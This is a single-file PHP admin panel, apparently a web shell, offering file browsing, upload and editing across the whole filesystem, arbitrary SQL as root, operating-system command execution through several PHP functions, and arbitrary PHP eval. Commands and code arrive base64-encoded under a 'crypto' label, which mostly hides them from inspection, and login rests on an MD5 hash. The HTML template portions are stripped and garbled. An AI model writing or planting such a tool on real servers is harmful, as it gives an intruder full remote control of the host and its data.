__DIR__, 'allow_outside_base' => true, 'enable_cmd' => true, 'crypto' => true, 'db' => [ 'host' => '127.0.0.1', 'port' => '', 'user' => 'root', 'pass' => '', 'name' => '', ], 'users' => [ 'admin' => 'cbd957f22b55a800668cd57bbae12794', ], 'log' => false, 'log_file' => __DIR__ . '/admin.log', 'max_edit_bytes' => 1024 * 1024, ]; session_start(); class App { private static $runtimeErrors = array(); private static $handlingFatal = false; private static $errorHandlingInit = false; public static function config($key = null) { global $config; if ($key === null) { return $config; } return array_key_exists($key, $config) ? $config[$key] : null; } public static function h($value) { $flags = ENT_QUOTES; if (defined('ENT_SUBSTITUTE')) { $flags |= ENT_SUBSTITUTE; } return htmlspecialchars((string)$value, $flags, 'UTF-8'); } public static function param($key, $default = null, $decode = false) { if (array_key_exists($key, $_POST)) { $value = $_POST[$key]; } elseif (array_key_exists($key, $_GET)) { $value = $_GET[$key]; } else { $value = $default; } if ($decode && $value !== null && $value !== '') { if (preg_match('/^[A-Za-z0-9_-]+$/', (string)$value)) { $decoded = self::dec($value); if ($decoded !== false) { return $decoded; } } } return $value; } public static function enc($value) { if (!self::config('crypto')) { return $value; } return Crypto::enc((string)$value); } public static function dec($value) { if (!self::config('crypto')) { return $value; } return Crypto::dec((string)$value); } public static function csrfToken() { if (empty($_SESSION['csrf'])) { if (function_exists('random_bytes')) { $_SESSION['csrf'] = bin2hex(random_bytes(16)); } elseif (function_exists('openssl_random_pseudo_bytes')) { $_SESSION['csrf'] = bin2hex(openssl_random_pseudo_bytes(16)); } else { $_SESSION['csrf'] = sha1(uniqid('', true)); } } return $_SESSION['csrf']; } public static function checkCsrf() { $session = isset($_SESSION['csrf']) ? $_SESSION['csrf'] : ''; return isset($_POST['csrf']) && self::hashEquals((string)$session, (string)$_POST['csrf']); } public static function flash($message = null, $type = 'info') { if ($message === null) { $flash = isset($_SESSION['flash']) ? $_SESSION['flash'] : null; unset($_SESSION['flash']); return $flash; } $_SESSION['flash'] = ['msg' => (string)$message, 'type' => (string)$type]; } public static function addRuntimeError($message) { $message = trim((string)$message); if ($message === '') { return; } self::$runtimeErrors[] = $message; } public static function runtimeErrors() { return self::$runtimeErrors; } public static function hashEquals($known, $user) { if (function_exists('hash_equals')) { return hash_equals($known, $user); } if (!is_string($known) || !is_string($user)) { return false; } $len = strlen($known); if ($len !== strlen($user)) { return false; } $result = 0; for ($i = 0; $i < $len; $i++) { $result |= ord($known[$i]) ^ ord($user[$i]); } return $result === 0; } public static function initErrorHandling() { if (self::$errorHandlingInit) { return; } self::$errorHandlingInit = true; set_error_handler(array('App', 'handleError')); set_exception_handler(array('App', 'handleException')); register_shutdown_function(array('App', 'handleShutdown')); } public static function handleError($severity, $message, $file, $line) { if (!(error_reporting() & $severity)) { return false; } $text = (string)$message . ' in ' . (string)$file . ':' . (string)$line; self::addRuntimeError($text); if (function_exists('error_log')) { error_log($text); } if ($severity === E_USER_ERROR || $severity === E_RECOVERABLE_ERROR) { if (class_exists('ErrorException')) { throw new ErrorException($message, 0, $severity, $file, $line); } } return true; } public static function handleException($ex) { $message = 'Unhandled exception'; $details = ''; if (is_object($ex)) { $message = get_class($ex) . ': ' . $ex->getMessage(); $details = $ex->getFile() . ':' . $ex->getLine(); } if (function_exists('error_log')) { error_log($message . ($details !== '' ? ' at ' . $details : '')); } self::renderErrorPage('Application Error', $message, $details); exit; } public static function handleShutdown() { $error = error_get_last(); if (!is_array($error)) { return; } $fatalTypes = array(E_ERROR, E_PARSE, E_CORE_ERROR, E_COMPILE_ERROR); if (!in_array((int)$error['type'], $fatalTypes, true)) { return; } $message = (string)$error['message']; $details = (string)$error['file'] . ':' . (string)$error['line']; if (function_exists('error_log')) { error_log('Fatal error: ' . $message . ' at ' . $details); } self::renderErrorPage('Fatal Error', $message, $details); } private static function renderErrorPage($title, $message, $details) { if (self::$handlingFatal) { return; } self::$handlingFatal = true; if (!headers_sent()) { if (function_exists('http_response_code')) { http_response_code(500); } else { header('HTTP/1.1 500 Internal Server Error'); } header('Content-Type: text/html; charset=utf-8'); } $safeTitle = self::h($title); $safeMessage = self::h($message); $safeDetails = $details !== '' ? self::h($details) : ''; echo ''; echo '' . $safeTitle . ''; echo '
'; echo '

' . $safeTitle . '

' . $safeMessage . '

'; if ($safeDetails !== '') { echo '
' . $safeDetails . '
'; } echo '
'; } public static function redirect($route, array $params = []) { $params = array_merge(['r' => $route], $params); $query = http_build_query($params); header('Location: ?' . $query); exit; } public static function dispatch($route) { if ($route === 'logout') { Auth::logout(); } Auth::handle($route); Auth::check($route); switch ($route) { case 'login': UI::login(); return; case 'files': $data = Files::handle(); UI::layout('Files', 'files', UI::files($data)); return; case 'db': $data = DB::handle(); UI::layout('Database', 'db', UI::db($data)); return; case 'editor': $data = Editor::handle(); UI::layout('Editor', 'editor', UI::editor($data)); return; case 'cmd': $data = Cmd::handle(); UI::layout('Command', 'cmd', UI::cmd($data)); return; case 'php': $data = PhpExec::handle(); UI::layout('PHP', 'php', UI::php($data)); return; case 'system': UI::layout('System', 'system', UI::system()); return; default: UI::layout('Dashboard', 'dashboard', UI::dashboard()); return; } } } class Auth { public static function handle($route) { if ($route !== 'login') { return; } if ($_SERVER['REQUEST_METHOD'] !== 'POST') { return; } if (!App::checkCsrf()) { App::flash('Invalid token.', 'error'); App::redirect('login'); } $user = trim((string)App::param('user', '')); $pass = (string)App::param('pass', ''); if (self::verify($user, $pass)) { $_SESSION['u'] = $user; Log::write('login', $user); App::redirect('dashboard'); } App::flash('Login failed.', 'error'); App::redirect('login'); } public static function check($route) { if (in_array($route, ['login', 'logout'], true)) { return; } if (empty($_SESSION['u'])) { App::redirect('login'); } } public static function verify($user, $pass) { $users = App::config('users'); if (!isset($users[$user])) { return false; } $stored = (string)$users[$user]; if (stripos($stored, 'md5:') === 0) { $stored = substr($stored, 4); } if (!preg_match('/^[a-f0-9]{32}$/i', $stored)) { return false; } return App::hashEquals(strtolower($stored), md5($pass)); } public static function logout() { $user = isset($_SESSION['u']) ? $_SESSION['u'] : ''; $_SESSION = []; if (function_exists('session_status')) { if (session_status() === PHP_SESSION_ACTIVE) { session_regenerate_id(true); } } else { session_regenerate_id(true); } if ($user !== '') { Log::write('logout', $user); } App::flash('Logged out.'); App::redirect('login'); } public static function user() { return isset($_SESSION['u']) ? $_SESSION['u'] : ''; } } class Crypto { public static function enc($value) { $b64 = base64_encode($value); return rtrim(strtr($b64, '+/', '-_'), '='); } public static function dec($value) { $value = strtr($value, '-_', '+/'); $pad = strlen($value) % 4; if ($pad > 0) { $value .= str_repeat('=', 4 - $pad); } $decoded = base64_decode($value, true); return $decoded === false ? false : $decoded; } } class Files { public static function handle() { $pathInput = trim((string)App::param('path', '')); $cwd = $pathInput !== '' ? $pathInput : (string)App::param('p', '', true); $action = (string)App::param('action', ''); if ($action === 'download') { $file = (string)App::param('file', '', true); self::download($file); exit; } if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (!App::checkCsrf()) { App::flash('Invalid token.', 'error'); App::redirect('files', ['p' => App::enc($cwd)]); } if ($action === 'mkdir') { $name = (string)App::param('name', ''); if (self::mkdir($cwd, $name)) { App::flash('Folder created.', 'success'); } else { App::flash('Failed to create folder.', 'error'); } App::redirect('files', ['p' => App::enc($cwd)]); } if ($action === 'touch') { $name = (string)App::param('name', ''); if (self::touch($cwd, $name)) { App::flash('File created.', 'success'); } else { App::flash('Failed to create file.', 'error'); } App::redirect('files', ['p' => App::enc($cwd)]); } if ($action === 'delete') { $target = (string)App::param('target', '', true); if ($target !== '' && self::delete($target)) { App::flash('Deleted.', 'success'); } else { App::flash('Delete failed.', 'error'); } App::redirect('files', ['p' => App::enc($cwd)]); } if ($action === 'upload') { if (!empty($_FILES['upload']) && self::upload($cwd, $_FILES['upload'])) { App::flash('Upload complete.', 'success'); } else { App::flash('Upload failed.', 'error'); } App::redirect('files', ['p' => App::enc($cwd)]); } } $path = self::resolve($cwd); if ($path === false || !is_dir($path)) { $cwd = ''; } $items = self::ls($cwd); return [ 'cwd' => $cwd, 'items' => $items, ]; } public static function base() { $base = (string)App::config('base_path'); return rtrim(str_replace('\\', '/', $base), '/'); } public static function resolve($rel) { $base = self::base(); $path = self::normalizePath($rel); if ($path === '' || $path === '.') { return $base; } if (self::isAbsolutePath($path)) { if (!App::config('allow_outside_base')) { return false; } $real = realpath($path); if ($real !== false) { return str_replace('\\', '/', $real); } $parent = realpath(dirname($path)); if ($parent === false) { return false; } return str_replace('\\', '/', $path); } $path = ltrim($path, '/'); if (strpos($path, '..') !== false) { return false; } $full = $base . '/' . $path; $real = realpath($full); if ($real !== false) { $real = str_replace('\\', '/', $real); return strpos($real, $base) === 0 ? $real : false; } $parent = realpath(dirname($full)); if ($parent === false) { return false; } $parent = str_replace('\\', '/', $parent); if (strpos($parent, $base) !== 0) { return false; } return str_replace('\\', '/', $full); } public static function rel($abs) { $base = self::base(); $abs = str_replace('\\', '/', $abs); if (strpos($abs, $base) !== 0) { return self::normalizePath($abs); } return ltrim(substr($abs, strlen($base)), '/'); } public static function ls($rel) { $path = self::resolve($rel); if ($path === false || !is_dir($path)) { return []; } $items = array_diff(scandir($path), ['.', '..']); $out = []; foreach ($items as $name) { $full = $path . '/' . $name; $isDir = is_dir($full); $out[] = [ 'name' => $name, 'rel' => self::rel($full), 'is_dir' => $isDir, 'size' => $isDir ? 0 : (int)@filesize($full), 'mtime' => (int)@filemtime($full), ]; } usort($out, function ($a, $b) { if ($a['is_dir'] === $b['is_dir']) { return strcasecmp($a['name'], $b['name']); } return $a['is_dir'] ? -1 : 1; }); return $out; } public static function mkdir($rel, $name) { $name = self::safeName($name); if ($name === '') { return false; } $base = self::resolve($rel); if ($base === false || !is_dir($base)) { return false; } $target = self::resolve(self::joinPath($rel, $name)); if ($target === false || file_exists($target)) { return false; } return @mkdir($target, 0777); } public static function touch($rel, $name) { $name = self::safeName($name); if ($name === '') { return false; } $base = self::resolve($rel); if ($base === false || !is_dir($base)) { return false; } $target = self::resolve(self::joinPath($rel, $name)); if ($target === false || file_exists($target)) { return false; } return @file_put_contents($target, '') !== false; } public static function delete($rel) { if ($rel === '') { return false; } $path = self::resolve($rel); if ($path === false) { return false; } if (is_dir($path)) { return @rmdir($path); } return @unlink($path); } public static function upload($rel, $file) { $error = isset($file['error']) ? $file['error'] : UPLOAD_ERR_NO_FILE; if (!is_array($file) || $error !== UPLOAD_ERR_OK) { return false; } $name = self::safeName((string)$file['name']); if ($name === '') { return false; } $base = self::resolve($rel); if ($base === false || !is_dir($base)) { return false; } $target = self::resolve(self::joinPath($rel, $name)); if ($target === false) { return false; } return @move_uploaded_file($file['tmp_name'], $target); } public static function download($rel) { $path = self::resolve($rel); if ($path === false || !is_file($path)) { return; } $name = basename($path); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . $name . '"'); header('Content-Length: ' . filesize($path)); readfile($path); } private static function normalizePath($path) { $path = str_replace("\0", '', (string)$path); $path = str_replace('\\', '/', $path); $path = trim($path); if (preg_match('/^[A-Za-z]:$/', $path)) { $path .= '/'; } return $path; } private static function joinPath($base, $name) { $base = rtrim(self::normalizePath($base), '/'); if ($base === '') { return $name; } return $base . '/' . $name; } private static function isAbsolutePath($path) { if ($path === '') { return false; } if (strpos($path, '//') === 0 || strpos($path, '/') === 0) { return true; } return (bool)preg_match('/^[A-Za-z]:\//', $path); } private static function safeName($name) { $name = trim(str_replace(["\0", "\r", "\n"], '', (string)$name)); if ($name === '' || $name === '.' || $name === '..') { return ''; } if (strpos($name, '/') !== false || strpos($name, '\\') !== false) { return ''; } return $name; } } class DB { public static function handle() { $data = [ 'enabled' => true, 'error' => '', 'dbs' => [], 'tables' => [], 'db' => '', 'table' => '', 'rows' => [], 'sql' => '', 'sql_result' => null, 'sql_error' => '', 'sql_ran' => false, 'cfg' => [], ]; $action = (string)App::param('action', ''); if ($_SERVER['REQUEST_METHOD'] === 'POST' && in_array($action, ['connect', 'disconnect'], true)) { if (!App::checkCsrf()) { App::flash('Invalid token.', 'error'); App::redirect('db'); } if ($action === 'disconnect') { self::clearCfg(); App::flash('DB settings cleared.', 'info'); App::redirect('db'); } $current = self::cfg(); $next = [ 'host' => trim((string)App::param('host', isset($current['host']) ? $current['host'] : '')), 'port' => trim((string)App::param('port', isset($current['port']) ? $current['port'] : '')), 'user' => trim((string)App::param('user', isset($current['user']) ? $current['user'] : '')), 'pass' => (string)App::param('pass', ''), 'name' => trim((string)App::param('name', isset($current['name']) ? $current['name'] : '')), ]; if ($next['pass'] === '' && isset($current['pass'])) { $next['pass'] = (string)$current['pass']; } self::setCfg($next); App::flash('DB settings updated.', 'success'); App::redirect('db'); } $cfg = self::cfg(); $data['cfg'] = $cfg; if (!self::enabled()) { $data['enabled'] = false; $data['error'] = 'PDO not available.'; return $data; } if (empty($cfg['host']) || empty($cfg['user'])) { $data['enabled'] = false; $data['error'] = 'DB config missing.'; return $data; } try { $pdoRoot = self::pdo(); } catch (Exception $e) { $data['enabled'] = false; $data['error'] = $e->getMessage(); return $data; } $dbs = self::listDatabases($pdoRoot); $data['dbs'] = $cfg['name'] !== '' ? [$cfg['name']] : $dbs; $fallbackDb = isset($data['dbs'][0]) ? $data['dbs'][0] : ''; $data['db'] = (string)App::param('db', $cfg['name'] !== '' ? $cfg['name'] : $fallbackDb, true); if ($data['db'] !== '' && !self::safeName($data['db'])) { $data['error'] = 'Invalid database name.'; return $data; } $tables = $data['db'] !== '' ? self::listTables($pdoRoot, $data['db']) : []; $data['tables'] = $tables; $fallbackTable = isset($tables[0]) ? $tables[0] : ''; $data['table'] = (string)App::param('table', $fallbackTable, true); if ($data['table'] !== '' && !self::safeName($data['table'])) { $data['error'] = 'Invalid table name.'; return $data; } if ($data['table'] !== '' && !in_array($data['table'], $tables, true)) { $data['table'] = isset($tables[0]) ? $tables[0] : ''; } $tableValid = $data['table'] !== '' && in_array($data['table'], $tables, true); if ($action === 'export' && $data['db'] !== '' && $tableValid) { self::exportCsv($data['db'], $data['table']); exit; } if ($_SERVER['REQUEST_METHOD'] === 'POST' && $action === 'sql') { $data['sql_ran'] = true; if (!App::checkCsrf()) { App::flash('Invalid token.', 'error'); App::redirect('db', ['db' => App::enc($data['db']), 'table' => App::enc($data['table'])]); } $sql = trim((string)App::param('sql', '')); if ($sql !== '' && $data['table'] !== '' && preg_match('/^\s*select\b/i', $sql) && !preg_match('/\bfrom\b/i', $sql)) { $sql = rtrim($sql, ";\r\n\t ") . ' FROM ' . self::quoteName($data['table']); } $data['sql'] = $sql; if ($sql !== '') { try { $data['sql_result'] = self::runSql($data['db'], $sql); } catch (Exception $e) { $data['sql_error'] = $e->getMessage(); } } } if ($data['db'] !== '' && $tableValid) { try { $data['rows'] = self::listRows($data['db'], $data['table'], 50); } catch (Exception $e) { $data['error'] = $e->getMessage(); } } return $data; } public static function enabled() { return class_exists('PDO'); } public static function pdo($dbName = null) { $cfg = self::cfg(); $dsn = 'mysql:host=' . $cfg['host'] . ';charset=utf8mb4'; if (!empty($cfg['port']) && ctype_digit((string)$cfg['port'])) { $dsn .= ';port=' . (string)$cfg['port']; } if (!empty($dbName)) { $dsn .= ';dbname=' . $dbName; } return new PDO($dsn, $cfg['user'], $cfg['pass'], [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, ]); } public static function listDatabases(PDO $pdo) { $rows = $pdo->query('SHOW DATABASES')->fetchAll(PDO::FETCH_COLUMN); return is_array($rows) ? $rows : []; } public static function listTables(PDO $pdo, $db) { if (!self::safeName($db)) { return []; } $rows = $pdo->query('SHOW TABLES FROM ' . self::quoteName($db))->fetchAll(PDO::FETCH_COLUMN); return is_array($rows) ? $rows : []; } public static function listRows($db, $table, $limit) { if (!self::safeName($db) || !self::safeName($table)) { return []; } $pdo = self::pdo($db); $sql = 'SELECT * FROM ' . self::quoteName($db) . '.' . self::quoteName($table) . ' LIMIT ' . (int)$limit; return $pdo->query($sql)->fetchAll(PDO::FETCH_ASSOC); } public static function exportCsv($db, $table) { if (!self::safeName($db) || !self::safeName($table)) { return; } $pdo = self::pdo($db); $stmt = $pdo->query('SELECT * FROM ' . self::quoteName($db) . '.' . self::quoteName($table)); $name = $db . '_' . $table . '.csv'; header('Content-Type: text/csv'); header('Content-Disposition: attachment; filename="' . $name . '"'); $out = fopen('php://output', 'w'); $first = true; while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) { if ($first) { fputcsv($out, array_keys($row)); $first = false; } fputcsv($out, $row); } fclose($out); } public static function runSql($db, $sql) { $pdo = self::pdo($db !== '' ? $db : null); if (preg_match('/^\s*select/i', $sql)) { $stmt = $pdo->query($sql); return ['type' => 'select', 'rows' => $stmt->fetchAll(PDO::FETCH_ASSOC)]; } $count = $pdo->exec($sql); return ['type' => 'exec', 'count' => $count]; } private static function safeName($name) { return (bool)preg_match('/^[A-Za-z0-9_]+$/', (string)$name); } private static function quoteName($name) { return '`' . str_replace('`', '``', (string)$name) . '`'; } private static function cfg() { $cfg = App::config('db'); if (!is_array($cfg)) { $cfg = []; } $session = isset($_SESSION['db_cfg']) ? $_SESSION['db_cfg'] : null; if (is_array($session)) { $cfg = array_merge($cfg, $session); } $allowed = ['host', 'port', 'user', 'pass', 'name']; $filtered = []; foreach ($allowed as $key) { $filtered[$key] = isset($cfg[$key]) ? $cfg[$key] : ''; } return $filtered; } private static function setCfg(array $cfg) { $allowed = ['host', 'port', 'user', 'pass', 'name']; $filtered = []; foreach ($allowed as $key) { $filtered[$key] = isset($cfg[$key]) ? $cfg[$key] : ''; } $_SESSION['db_cfg'] = $filtered; } private static function clearCfg() { unset($_SESSION['db_cfg']); } } class Editor { public static function handle() { $file = (string)App::param('file', '', true); $data = [ 'file' => $file, 'content' => '', 'error' => '', ]; if ($file === '') { $data['error'] = 'No file selected.'; return $data; } if ($_SERVER['REQUEST_METHOD'] === 'POST' && App::param('action') === 'save') { if (!App::checkCsrf()) { App::flash('Invalid token.', 'error'); App::redirect('editor', ['file' => App::enc($file)]); } if (!array_key_exists('content_enc', $_POST)) { App::flash('Encrypted content missing.', 'error'); App::redirect('editor', ['file' => App::enc($file)]); } $contentEnc = (string)$_POST['content_enc']; $content = Crypto::dec($contentEnc); if ($content === false) { App::flash('Encrypted content invalid.', 'error'); App::redirect('editor', ['file' => App::enc($file)]); } if (self::save($file, $content)) { App::flash('Saved.', 'success'); } else { App::flash('Save failed.', 'error'); } App::redirect('editor', ['file' => App::enc($file)]); } $loaded = self::load($file); if (!$loaded['ok']) { $data['error'] = $loaded['error']; return $data; } $data['content'] = $loaded['content']; return $data; } public static function load($rel) { $path = Files::resolve($rel); if ($path === false || !is_file($path)) { return ['ok' => false, 'content' => '', 'error' => 'File not found.']; } $max = (int)App::config('max_edit_bytes'); if ($max > 0 && filesize($path) > $max) { return ['ok' => false, 'content' => '', 'error' => 'File too large to edit.']; } $content = @file_get_contents($path); if ($content === false) { return ['ok' => false, 'content' => '', 'error' => 'Failed to read file.']; } return ['ok' => true, 'content' => $content, 'error' => '']; } public static function save($rel, $content) { $path = Files::resolve($rel); if ($path === false || is_dir($path)) { return false; } return @file_put_contents($path, $content) !== false; } } class Cmd { public static function handle() { $methods = self::availableMethods(); $data = [ 'enabled' => App::config('enable_cmd'), 'supported' => !empty($methods), 'methods' => $methods, 'method' => '', 'output' => '', 'exit_code' => null, 'cmd' => '', 'error' => '', ]; if (!$data['enabled']) { return $data; } if (!$data['supported']) { $data['error'] = 'Command execution not supported.'; return $data; } if ($_SERVER['REQUEST_METHOD'] === 'POST' && App::param('action') === 'run') { if (!App::checkCsrf()) { App::flash('Invalid token.', 'error'); App::redirect('cmd'); } if (!array_key_exists('cmd_enc', $_POST)) { $data['error'] = 'Encrypted command missing.'; return $data; } $cmd = Crypto::dec((string)$_POST['cmd_enc']); if ($cmd === false) { $data['error'] = 'Encrypted command invalid.'; return $data; } $cmd = trim((string)$cmd); $data['cmd'] = $cmd; if ($cmd === '') { $data['error'] = 'No command provided.'; return $data; } $result = self::run($cmd); $data['output'] = $result['output']; $data['exit_code'] = $result['exit_code']; $data['method'] = $result['method']; } return $data; } public static function can() { return !empty(self::availableMethods()); } public static function availableMethods() { $disabled = array_filter(array_map('trim', explode(',', (string)ini_get('disable_functions')))); $methods = []; foreach (['proc_open', 'exec', 'shell_exec', 'system', 'passthru'] as $fn) { if (function_exists($fn) && !in_array($fn, $disabled, true)) { $methods[] = $fn; } } return $methods; } public static function run($cmd) { $methods = self::availableMethods(); $prepared = self::prepareCommand($cmd); foreach ($methods as $method) { if ($method === 'proc_open') { $spec = [ 0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w'], ]; $process = proc_open($prepared, $spec, $pipes); if (is_resource($process)) { fclose($pipes[0]); $stdout = stream_get_contents($pipes[1]); $stderr = stream_get_contents($pipes[2]); fclose($pipes[1]); fclose($pipes[2]); $exit = proc_close($process); return [ 'output' => self::normalizeOutput((string)$stdout . (string)$stderr), 'exit_code' => $exit, 'method' => 'proc_open', ]; } } if ($method === 'exec') { $output = []; $exit = 0; exec($prepared . ' 2>&1', $output, $exit); return [ 'output' => self::normalizeOutput(implode("\n", $output)), 'exit_code' => $exit, 'method' => 'exec', ]; } if ($method === 'shell_exec') { $out = shell_exec($prepared . ' 2>&1'); return [ 'output' => self::normalizeOutput((string)$out), 'exit_code' => null, 'method' => 'shell_exec', ]; } if ($method === 'system') { $exit = 0; ob_start(); system($prepared . ' 2>&1', $exit); $out = ob_get_clean(); return [ 'output' => self::normalizeOutput((string)$out), 'exit_code' => $exit, 'method' => 'system', ]; } if ($method === 'passthru') { $exit = 0; ob_start(); passthru($prepared . ' 2>&1', $exit); $out = ob_get_clean(); return [ 'output' => self::normalizeOutput((string)$out), 'exit_code' => $exit, 'method' => 'passthru', ]; } } return [ 'output' => '', 'exit_code' => null, 'method' => 'none', ]; } private static function prepareCommand($cmd) { $cmd = trim((string)$cmd); $os = defined('PHP_OS_FAMILY') ? PHP_OS_FAMILY : PHP_OS; if (stripos($os, 'Windows') !== false && !preg_match('/^\s*cmd\s+\/c\s+/i', $cmd)) { return 'cmd /c ' . $cmd; } return $cmd; } private static function normalizeOutput($text) { $text = (string)$text; if ($text === '') { return $text; } if (function_exists('mb_check_encoding') && mb_check_encoding($text, 'UTF-8')) { return $text; } if (function_exists('mb_detect_encoding')) { $enc = mb_detect_encoding($text, ['UTF-8', 'GBK', 'CP936', 'BIG5', 'CP1252', 'ISO-8859-1'], true); if ($enc && strtoupper($enc) !== 'UTF-8') { $converted = @mb_convert_encoding($text, 'UTF-8', $enc); if ($converted !== false) { return $converted; } } } if (function_exists('iconv')) { $converted = @iconv('GBK', 'UTF-8//IGNORE', $text); if ($converted !== false && $converted !== '') { return $converted; } } return $text; } } class PhpExec { public static function handle() { $data = [ 'code' => '', 'output' => '', 'return' => '', 'error' => '', 'ran' => false, ]; if ($_SERVER['REQUEST_METHOD'] === 'POST' && App::param('action') === 'run') { if (!App::checkCsrf()) { App::flash('Invalid token.', 'error'); App::redirect('php'); } if (!array_key_exists('code_enc', $_POST)) { $data['error'] = 'Encrypted code missing.'; return $data; } $code = Crypto::dec((string)$_POST['code_enc']); if ($code === false) { $data['error'] = 'Encrypted code invalid.'; return $data; } $code = self::normalizeCode((string)$code); if ($code === '') { $data['error'] = 'No code provided.'; return $data; } $data['code'] = $code; $data['ran'] = true; $output = ''; $result = null; if (defined('PHP_VERSION_ID') && PHP_VERSION_ID >= 70000) { try { ob_start(); $result = eval($code); $output = ob_get_clean(); } catch (Throwable $e) { $output = ob_get_clean(); $data['error'] = $e->getMessage(); } } else { try { ob_start(); $result = eval($code); $output = ob_get_clean(); } catch (Exception $e) { $output = ob_get_clean(); $data['error'] = $e->getMessage(); } } $data['output'] = (string)$output; if ($data['error'] === '') { $data['return'] = var_export($result, true); } } return $data; } private static function normalizeCode($code) { $code = preg_replace('/^\s*<\?php/i', '', $code); $code = preg_replace('/\?>\s*$/', '', $code); return trim((string)$code); } } class UI { public static function layout($title, $route, $body) { $user = Auth::user(); $flash = App::flash(); $runtimeErrors = App::runtimeErrors(); $nav = self::navItems(); App::csrfToken(); ?> <?php echo App::h($title); ?>
Logout

Login

Sign in

Base path:
Crypto:
Command:
DB host:
Use the sidebar to access modules.
$seg, 'path' => $path]; } ob_start(); ?>
Path: / /
Name Type Size Modified Actions
Empty directory.
Edit Download
File:
Export CSV
Rows affected:
Rows:
> Table preview ( rows)
Command module disabled.
Available methods:
Method:
Exit code:

          
        
Output

          
          
            
Return

          
        
PHP Version
OS
Server Time
Base Path
Crypto
Command
'Dashboard', 'files' => 'Files', 'db' => 'Database', 'editor' => 'Editor', 'cmd' => 'Command', 'php' => 'PHP', 'system' => 'System', ]; if (!App::config('enable_cmd')) { unset($items['cmd']); } return $items; } } class Log { public static function write($action, $detail = '') { if (!App::config('log')) { return; } $user = Auth::user(); $line = date('c') . ' ' . $user . ' ' . $action . ' ' . $detail . "\n"; @file_put_contents(App::config('log_file'), $line, FILE_APPEND | LOCK_EX); } } App::initErrorHandling(); $route = (string)App::param('r', 'dashboard'); App::dispatch($route);